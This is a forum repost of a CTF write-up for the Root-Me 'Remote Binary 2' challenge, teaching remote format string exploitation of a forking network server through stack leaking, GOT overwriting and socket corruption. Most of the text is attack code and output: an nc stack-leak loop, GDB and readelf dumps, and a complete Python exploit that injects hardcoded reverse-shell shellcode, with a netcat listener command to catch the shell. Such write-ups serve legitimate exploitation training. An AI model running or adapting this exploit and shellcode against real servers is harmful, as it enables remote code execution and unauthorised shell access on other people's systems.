Nytro Posted August 23, 2013 Report Posted August 23, 2013 [h=3][Root-Me] Remote Binary 2 - An advanced remote format string example [/h]Hello,Today, we're going to exploit a remote format string! It sures changes from classic format strings.Anyhow, this is a perfect example of a fully reliable remote exploit using info leaking capabilities.Like other posts, I will try to explain and develop (almost) the entire exploit development process.I hope you like this formula, otherwise tell me.On to the show,[h=2]The target[/h] The challenge is located here: Remote Binary 2 .The binary is not protected at all, the difficulty lies in that it is in a remote location. Here is the source code:#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/socket.h>#include <sys/types.h>#include <sys/wait.h>#include <arpa/inet.h>#include <unistd.h>#define LISTEN_PORT 56006#define LENGTH 1024extern char **environ;int ssock;int recv_loop(void){ int csock; struct sockaddr_in caddr; socklen_t clen = sizeof(caddr); char input[LENGTH]; char output[LENGTH]; while(1) { if( (csock = accept(ssock, (struct sockaddr *) &caddr, &clen)) < 0) { perror("accept()"); exit(1); } memset(input, '\0', LENGTH); memset(output, '\0', LENGTH); recv(csock, input, LENGTH-1, 0); snprintf (output, sizeof (output), input); output[sizeof (output) - 1] = '\0'; send(csock, output, LENGTH-1, 0); close(csock); } return 0;}int main(void){ int i, pid, yes = 1; struct sockaddr_in saddr; for(i=0; environ != NULL; i++) { memset(environ, '\0', strlen(environ)); } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = htonl(INADDR_ANY); saddr.sin_port = htons(LISTEN_PORT); while(1) { pid = fork(); if( pid == 0 ) { printf("run (pid=%d)\n", getpid()); if( (ssock = socket(PF_INET, SOCK_STREAM, 0)) < 0) { perror("socket()"); exit(1); } if(setsockopt(ssock, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) <0) { perror("setsockopt()"); exit(1); } if( bind(ssock, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) { perror("bind()"); exit(1); } if( listen(ssock, 5) < 0) { perror("listen()"); exit(1); } recv_loop(); } else { wait(NULL); close(ssock); } } return 0;}As we can see, these are infinite loops and it fork() for each received request.environ is set to 0 so we can't use it for our shellcode. I won't bother you too much with the ASM as you can guess but basically:while (1) { // code}loop: // code jmp loopThis is important to mention as there won't be a SEIP that we can really use as the functions never return there.Also, since it forks at each and every request, it means we could bruteforce the child address space. We are not going to do that: it is not really clean, there is a better solution as you will see through reading the rest of this article.Looking a bit further, we locate the vulnerability in recv_loop(), we control the format string!There a no overflow however and memory is reset to 0 at each iteration.There is even some basic error checking to see if accept() succeed.From there we can devise an attack strategy:- we can write anywhere: let's patch a GOT entry! We have the choice- thing is, if we patch send(), close() or accept(), we have to set up our payload and execute in one go, we cannot check for proper write before for instance (first rule of an exploit: reliability).- lucky for us, if accept() fail then it perror() and exit(), we just need to patch ssock to make accept() fail. We thus can trigger our payload whenever we want.Thing is, before we can do all that, we need addresses![h=2]Infoleak to the rescue[/h] Format strings are useful for reading AND writing!!! So we are going to dump part of the stack.This is especially useful for remote processes, ASLR+PIE+DEP binaries for instance as it allows to completely bypass those protections altogether.The technique I used here to dump the stack is through the "direct parameter access".# we leak part of the stackfor index in {1..746}; do echo "index $index = %$index\$x" | nc -v 127.0.0.1 56006 >> dump.raw; done# we extract only our data (and not the '\x00'..)strings dump.raw > dump.logThere are other techniques such as using %s format string for dumping arbitrary valid memory locations. This is more hardcore though, I haven't tried it yet.Here we got a text file, we would like to have a binary dump:#!/usr/bin/pythonimport sysimport structif len (sys.argv) != 3: print 'Usage: {0} input output'.format (sys.argv[0]) exit (1)(progname, input_filename, output_filename) = sys.argv# parse dump.logvalues = []with open (input_filename, 'r') as fp: content = fp.read() content = content.replace ('\\n', '') content = content.split ('\n') for line in content: fields = line.split ('=') if len (fields) != 2: continue value = fields[1].strip () # value = struct.pack ('<I', value) value = int (value, 16) values.append (value)# reconstruct stackwith open (output_filename, 'wb') as fpw: for value in values: bin_val = struct.pack ("<I", value) fpw.write (bin_val)print '{0} parsed to {1}'.format (input_filename, output_filename)As you can see, it is a much more usable format:$ ./stack-rebuild.py dump.log dump.bindump.log parsed to dump.bin$ hexdump -C dump.bin00000000 00 00 00 00 00 00 00 00 00 00 00 00 34 20 3d 20 |............4 = |00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000400 00 00 00 00 00 00 00 00 00 00 00 00 32 36 30 20 |............260 |00000410 3d 20 25 32 36 32 24 78 5c 6e 0a 00 00 00 00 00 |= %262$x\n......|00000420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000800 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 |................|00000810 02 00 8b 6e 7f 00 00 01 00 00 00 00 00 00 00 00 |...n............|00000820 03 00 00 00 f4 1f fd b7 d7 ff ff bf e8 fc ff bf |................|00000830 38 8a 04 08 00 00 00 00 05 00 00 00 10 00 00 00 |8...............|00000840 d4 fc ff bf 04 00 00 00 f4 9f 04 08 01 00 00 00 |................|00000850 55 85 04 08 e4 23 fd b7 0d 00 00 00 f4 9f 04 08 |U....#..........|00000860 ff ff ff ff ff ff ff ff 02 00 da c6 00 00 00 00 |................|00000870 25 02 e6 b7 80 d2 fe b7 01 00 00 00 00 00 00 00 |%...............|00000880 0b 00 00 00 60 8a 04 08 00 00 00 00 00 00 00 00 |....`...........|00000890 d3 64 e4 b7 01 00 00 00 84 fd ff bf 8c fd ff bf |.d..............|000008a0 58 c8 fd b7 00 00 00 00 1c fd ff bf 8c fd ff bf |X...............|000008b0 00 00 00 00 6c 83 04 08 f4 1f fd b7 00 00 00 00 |....l...........|000008c0 00 00 00 00 00 00 00 00 15 44 9e 14 05 80 ae 23 |.........D.....#|000008d0 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 |................|000008e0 b0 86 04 08 00 00 00 00 b0 26 ff b7 e9 63 e4 b7 |.........&...c..|000008f0 f4 ef ff b7 01 00 00 00 b0 86 04 08 00 00 00 00 |................|00000900 d1 86 04 08 63 88 04 08 01 00 00 00 84 fd ff bf |....c...........|00000910 60 8a 04 08 d0 8a 04 08 80 d2 fe b7 7c fd ff bf |`...........|...|00000920 18 f9 ff b7 01 00 00 00 8c fe ff bf 00 00 00 00 |................|00000930 b1 fe ff bf bc fe ff bf cc fe ff bf e1 fe ff bf |................|00000940 1f ff ff bf 3e ff ff bf 5e ff ff bf 6f ff ff bf |....>...^...o...|00000950 90 ff ff bf 98 ff ff bf b0 ff ff bf 00 00 00 00 |................|00000960 20 00 00 00 14 d4 fd b7 21 00 00 00 00 d0 fd b7 | .......!.......|00000970 10 00 00 00 ff fb eb 0f 06 00 00 00 00 10 00 00 |................|00000980 11 00 00 00 64 00 00 00 03 00 00 00 34 80 04 08 |....d.......4...|00000990 04 00 00 00 20 00 00 00 05 00 00 00 09 00 00 00 |.... ...........|000009a0 07 00 00 00 00 e0 fd b7 08 00 00 00 00 00 00 00 |................|000009b0 09 00 00 00 b0 86 04 08 0b 00 00 00 00 04 00 00 |................|000009c0 0c 00 00 00 00 04 00 00 0d 00 00 00 00 04 00 00 |................|000009d0 0e 00 00 00 00 04 00 00 17 00 00 00 00 00 00 00 |................|000009e0 19 00 00 00 6b fe ff bf 1f 00 00 00 d7 ff ff bf |....k...........|000009f0 0f 00 00 00 7b fe ff bf 00 00 00 00 00 00 00 00 |....{...........|00000a00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 |................|00000a10 0f 0c 84 d2 b3 75 b5 2e 54 cf 42 17 94 c5 10 69 |.....u..T.B....i|00000a20 36 38 36 00 00 00 00 00 00 00 00 00 00 00 00 00 |686.............|00000a30 2f 63 68 61 6c 6c 65 6e 67 65 2f 72 62 69 6e 61 |/challenge/rbina|00000a40 72 79 2f 72 62 69 6e 61 72 79 32 2f 72 62 69 6e |ry/rbinary2/rbin|00000a50 61 72 79 32 00 00 00 00 00 00 00 00 00 00 00 00 |ary2............|00000a60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|*00000b70 00 00 00 00 00 00 00 00 00 00 00 2f 63 68 61 6c |.........../chal|00000b80 6c 65 6e 67 65 2f 72 62 69 6e 61 72 79 2f 72 62 |lenge/rbinary/rb|00000b90 69 6e 61 72 79 32 2f 72 62 69 6e 61 72 79 32 00 |inary2/rbinary2.|00000ba0 00 00 00 00 |....|Now, let dig through it for stack addresses:$ grep '= bf' dump.log523 = bfffffd7\n524 = bffffce8\n529 = bffffcd4\n551 = bffffd84\n552 = bffffd8c\n555 = bffffd1c\n556 = bffffd8c\n580 = bffffd84\n584 = bffffd7c\n587 = bffffe8c\n589 = bffffeb1\n590 = bffffebc\n591 = bffffecc\n592 = bffffee1\n593 = bfffff1f\n594 = bfffff3e\n595 = bfffff5e\n596 = bfffff6f\n597 = bfffff90\n598 = bfffff98\n599 = bfffffb0\n634 = bffffe6b\n636 = bfffffd7\n638 = bffffe7b\nNeat, we have a couple of stack addresses. For now, we don't know to what they map to.Anyhow, we mainly need offsets now to esp, ebp, input_buffer and output_buffer. Let's see how to get them from rbinary2.[h=2]Getting addresses offsets out of the binary[/h] [h=3]Addresses[/h] For extracting addresses we'are interested in, we are going to use GDB for disassembly and readelf for GOT addresses.Let's disassemble it! (I've cutted part of the disassembly, only showing parts of interest)gdb$ disassemble recv_loopDump of assembler code for function recv_loop: 0x08048764 <+0>: push ebp 0x08048765 <+1>: mov ebp,esp 0x08048767 <+3>: push edi 0x08048768 <+4>: push ebx 0x08048769 <+5>: sub esp,0x830 0x0804876f <+11>: mov DWORD PTR [ebp-0x20],0x10 0x08048776 <+18>: mov eax,ds:0x804a064<...> 0x080487a6 <+66>: mov DWORD PTR [esp],0x1 0x080487ad <+73>: call 0x80485f0 <exit@plt> ; memset 0x080487b2 <+78>: lea eax,[ebp-0x420] 0x080487b8 <+84>: mov ebx,eax 0x080487ba <+86>: mov eax,0x0 0x080487bf <+91>: mov edx,0x100 0x080487c4 <+96>: mov edi,ebx 0x080487c6 <+98>: mov ecx,edx 0x080487c8 <+100>: rep stos DWORD PTR es:[edi],eax ; memset 0x080487ca <+102>: lea eax,[ebp-0x820] 0x080487d0 <+108>: mov ebx,eax 0x080487d2 <+110>: mov eax,0x0 0x080487d7 <+115>: mov edx,0x100 0x080487dc <+120>: mov edi,ebx 0x080487de <+122>: mov ecx,edx 0x080487e0 <+124>: rep stos DWORD PTR es:[edi],eax<...> 0x0804885e <+250>: jmp 0x8048776 <recv_loop+18>End of assembler dump.Let's get GOT addresses!rbinary2@challenge02:~$ readelf -r ~/rbinary2 Relocation section '.rel.dyn' at offset 0x47c contains 2 entries: Offset Info Type Sym.Value Sym. Name08049ff0 00000806 R_386_GLOB_DAT 00000000 __gmon_start__0804a058 00001705 R_386_COPY 0804a058 __environ Relocation section '.rel.plt' at offset 0x48c contains 20 entries: Offset Info Type Sym.Value Sym. Name0804a000 00000107 R_386_JUMP_SLOT 00000000 setsockopt0804a004 00000207 R_386_JUMP_SLOT 00000000 printf0804a008 00000307 R_386_JUMP_SLOT 00000000 wait0804a00c 00000407 R_386_JUMP_SLOT 00000000 htons0804a010 00000507 R_386_JUMP_SLOT 00000000 perror0804a014 00000607 R_386_JUMP_SLOT 00000000 accept0804a018 00000707 R_386_JUMP_SLOT 00000000 getpid0804a01c 00000807 R_386_JUMP_SLOT 00000000 __gmon_start__0804a020 00000907 R_386_JUMP_SLOT 00000000 exit0804a024 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main0804a028 00000b07 R_386_JUMP_SLOT 00000000 bind0804a02c 00000c07 R_386_JUMP_SLOT 00000000 memset0804a030 00000d07 R_386_JUMP_SLOT 00000000 snprintf0804a034 00000e07 R_386_JUMP_SLOT 00000000 fork0804a038 00000f07 R_386_JUMP_SLOT 00000000 htonl0804a03c 00001007 R_386_JUMP_SLOT 00000000 listen0804a040 00001107 R_386_JUMP_SLOT 00000000 socket0804a044 00001207 R_386_JUMP_SLOT 00000000 recv0804a048 00001307 R_386_JUMP_SLOT 00000000 close0804a04c 00001407 R_386_JUMP_SLOT 00000000 sendFrom there, we can extract ssock address (remember it is a global variable from C source code) and perror() GOT address.# addressesperror_got = 0x804a010ssock_addr = 0x804a064Now onto offsets.[h=3]Offsets[/h] In order to extract offsets, it would be great to attach gdb to our running rbinary2. Unfortunately, we have no clue as to what is the pid of our rbinary2.Most people will rejoice at the idea that we have the source code and can recompile it.It's the WRONG WAY. Simply because we have absolutely no clues as to what were the compilation flags used. As such, the compiled binary could be completely different to the existing rbinary2, neither the code or offsets will be the same (due to optimizations and other funky compiler features).The BETTER WAY, would be to use the actual binary, patch the network port on which to bind and voilà!We know the original binary bind to port 56006 (0xDAC6), we thus have to search for \xC6\xDA in the binary (don't forget that it's in little endian here) and change it to whatever port we want it to bind. From there, we can actually debug our target and step through it.I didn't use much the debugger other than for the purpose of getting offsets.Here how to do it through GDB.First we look at the ASM code to see where to break.We are going to break at address 0x0804876f as we will have the correct value of ESP computed.We dump part of the stack:gdb ~/rbinary2gdb$ x/1000wx $esp0xbffff420: 0x00000000 0x00000000 0x00000000 0x000000000xbffff430: 0x00000000 0x00000000 0x00000000 0x00000000<...>0xbffffc50: 0xb7fd1ff4 0xbfffffe8 0xbffffcb8 0x08048a38<...>0xbfffffe0: 0x00000000 0x00000000 0x706d742f 0x2f32722f0xbffffff0: 0x63746170 0x2e646568 0x006e6962 0x00000000We have to localize where is our format string dumped stack from earlier, basically, 0x0848a38 is located in our format string stack dump! Doing some calculation, we can find the start of our stack dump:[TABLE][TR][TD=class: gutter][/TD][TD=class: code]0xbffffc58 - 523 * 4 = 0xbffff42c = start of format stack[/TD][/TR][/TABLE]We will use 0xbffffcb8 to compute our addresses as in our format string dump stack, the stack pointer preceding it is not aligned on a 4-bytes boundary.Now we can have ESP offset:[TABLE][TR][TD=class: gutter][/TD][TD=class: code]0xbffffcb8 - 0xbffff420 = offset to esp = 0x898 = 2200[/TD][/TR][/TABLE]From there, we can deduce EBP, the input buffer address and the output buffer address through these formulas:esp = leaked_addr - 0x898ebp = esp + 0x838input_buf = ebp - 0x420output_buf = ebp - 0x820landing = input_buf + 100The landing address is arbitrary, we leave 100 bytes for the format string (but you can adjust it as long as it doesn't end up after the input_buf bounds.We got all our offsets and thus can compute all the necessary addresses!What is left?Oh right, our format strings for first patching the GOT entry then the other one for triggering the payload by patching ssock![h=2]Advanced format strings techniques[/h] First we need to find the offset (compared to the format string stack pointer) at which we can find our format string.For that, we are going to use TESO format string techniques for finding offset using the following pattern:[TABLE][TR][TD=class: gutter][/TD][TD=class: code]<needle><stackpop>|%08x[/TD][/TR][/TABLE]We change the stackpop after each iteration, after some time we should see the needle.Here, ou needle is "AAAABBBBCCCC".Let's try:[TABLE][TR][TD=class: gutter][/TD][TD=class: code]rbinary2@challenge02:/tmp$ for index in {1..10}; do printf "$index:" >> dump3.raw && python -c 'print "A" * 4 + "B" * 4 + "C" * 4 + "%u" * '`echo $index`' + "|%08x"' | nc 127.0.0.1 56006 >> dump3.raw; done[/TD][/TR][/TABLE]We can see this:rbinary2@challenge02:/tmp$ strings dump3.raw1:AAAABBBBCCCC0|000000002:AAAABBBBCCCC00|000000003:AAAABBBBCCCC000|414141414:AAAABBBBCCCC0001094795585|424242425:AAAABBBBCCCC00010947955851111638594|434343436:AAAABBBBCCCC000109479558511116385941128481603|313030307:AAAABBBBCCCC000109479558511116385941128481603825241648|373439308:AAAABBBBCCCC000109479558511116385941128481603825241648926169392|383535399:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129|3131313510:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129825307445|38333631So we can infer that after 2 stackpop (%u), we are at the beginning of our format stack.Now for our writing format string, here is the pattern used (still from TESO):[TABLE][TR][TD=class: code]<padding><stackpop><pair of value and address * 2><write code>[/TD][/TR][/TABLE]We only use 2 pairs as we are going to use short writes (in order to avoid trashing more bytes than necessary). After playing around, we end up with the following format strings:[TABLE][TR][TD=class: code]got_patch = "A%u%u%u<dummy><got_addr+2><dummy><got_addr><write1><write2>"payload_trigger = "A%u%u%u<dummy><ssock_addr><write><payload>"[/TD][/TR][/TABLE]What is left is for the writes calculation.Let's say we want to land on address 0xBFFFF8CC, here how I compute the 2 lengths:# format elementspadding = 'A'stackpop = '%u%u%u'pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )# length calculation for correct address generationprint '[+] Calculating lengths'landing1 = ((landing & 0xffff0000) >> 16)len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'len2 = (landing & 0xffff) - landing1ow we have everything we need for a full reliable remote exploit for this challenge.Here it is.[h=2]The exploit[/h] I hardcoded the payload (it is a reverse shell) but you can modify the exploit as you like.Just don't forget to wait with netcat listening: [TABLE][TR][TD=class: gutter][/TD][TD=class: code]nc -v -l -p [lport][/TD][/TR][/TABLE]#!/usr/bin/pythonfrom socket import *import structimport sys# read from binary filedef read_values_from_binfile (filename): # fill values array values = [] with open (filename, 'rb') as fpr: content = fpr.read() span = 4 values = [ struct.unpack ('<I', content[i:i+span])[0] for i in range(0, len(content), span) ] return values# leak stack through format stringdef leak_addresses (host, port, start = 1, end = 746): values = [] for idx in range (start, end): csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) fmt = '%{0}$x'.format (idx) csock.send (fmt) raw = csock.recv(8) # search c string value = '' for c in raw: if c == '\x00': break value += c values.append ( int (value, 16) ) csock.close () return valuesdef filter_addr (addr_list, base_addr): filtered = [] for value in values: if value & 0xff000000 == base_addr: filtered.append (value) return filteredif len (sys.argv) == 2: (progname, filename) = sys.argvelif len (sys.argv) == 4: (progname, host, port, lport) = sys.argv port = int (port, 10) lport = int (lport, 10) lport = struct.pack ('>H', lport) print 'lport: {0}'.format (lport)else: print 'Usage (2 args): {0} dump_name'.format (sys.argv[0]) print 'Usage (3 args): {0} host port lport'.format (sys.argv[0]) exit (1)print '[+] Leaking part of stack'if 'filename' in locals(): values = read_values_from_binfile (filename)elif 'host' in locals() and 'port' in locals(): values = leak_addresses ( host, port )else: print 'Failed execution' exit (1)# filter out only stack addressstack_addr_list = filter_addr (values, 0xbf000000)libs = filter_addr (values, 0xb7000000)'''dirty hack to get stack addressbetter: align values to array of offsets and determine correct stack address'''leaked_addr = values[523]print '[+] Got leaked address'# compute buffer addressesprint '[+] Computing addresses'esp = leaked_addr - 0x898ebp = esp + 0x838input_buf = ebp - 0x420output_buf = ebp - 0x820landing = input_buf + 100print ' esp : 0x{0:x}'.format (esp)print ' ebp : 0x{0:x}'.format (ebp)print ' input : 0x{0:x}'.format (input_buf)print ' output : 0x{0:x}'.format (output_buf)print ' landing: 0x{0:x}'.format (landing)# addressesperror_got = 0x804a010ssock_addr = 0x804a064# format elementspadding = 'A'stackpop = '%u%u%u'pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )# length calculation for correct address generationprint '[+] Calculating lengths'landing1 = ((landing & 0xffff0000) >> 16)len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'len2 = (landing & 0xffff) - landing1# construct format stringsprint '[+] Building perror_got patch format string'fmt_write_got = padding + stackpop + pairs + '%{0}u%hn'.format (len1) + '%{0}u%hn'.format (len2)print ' {0}'.format (fmt_write_got)# reverse shell to port 11111print '[+] Building ssock patch format string'payload = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"payload += "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd"payload += "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01"payload += "\x01\x66\x68" + lport + "\x66\x6a\x02\x89\xe1"payload += "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b"payload += "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"payload += "\x6e\x89\xe3\x31\xc9\xcd\x80"print '[+] payload = {0}'.format (payload)fmt_write_ssock = padding + stackpop + struct.pack ("<I", ssock_addr) * 2 + '%10u%hn'# too much nopsled cause the payload to be cutted off, need to calculate better# nopsled = (1023 - len (fmt_write_ssock)) * '\x90'nopsled = 100 * '\x90'fmt_write_ssock += nopsled + payloadprint ' {0}'.format (fmt_write_ssock)# format string write# payload + format will patch ssock to cause accept to fail, exit and go to our shellcodeif len (sys.argv) == 4: print '[+] Patching exit.got function pointer' csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) csock.send ( fmt_write_got ) csock.close () print '[+] Triggering payload!!!' csock = socket (AF_INET, SOCK_STREAM) csock.connect ( (host, port) ) csock.send ( fmt_write_ssock ) csock.close () print '[+] You should have gotten a reverse shell, if not, the exploit failed'print 'Bye'[h=2]Conclusion[/h] As you could see, as always, with dedication come the prize: a full reliable remote exploit for rbinary2.Anyhow, this post was to illustrate how we can make use of infoleak for bettering the reliability of an exploit.In this case, if ASLR+DEP+Full PIE were to be activated, it would still be exploitable thanks to the infoleak. This is left as an exercise to the readers.For those wanting to train more, you could also bruteforce the format string stack pointer offset remotely and completely automate the format string construction.And also, I've heard multiple times: this paper is so ooold, useless! It's old sure, but the more techniques you have in your bag, the more you will be prepared. We never know, sometime old and simple techniques are the most effecient to use.I hope you enjoyed this article,Cheers,m_101Reference:- The challenge: Remote Binary 2- The bible on format string exploitation: Format Strings by TESO Publié par m_101Sursa: Binary world for binary people : [Root-Me] Remote Binary 2 - An advanced remote format string example Quote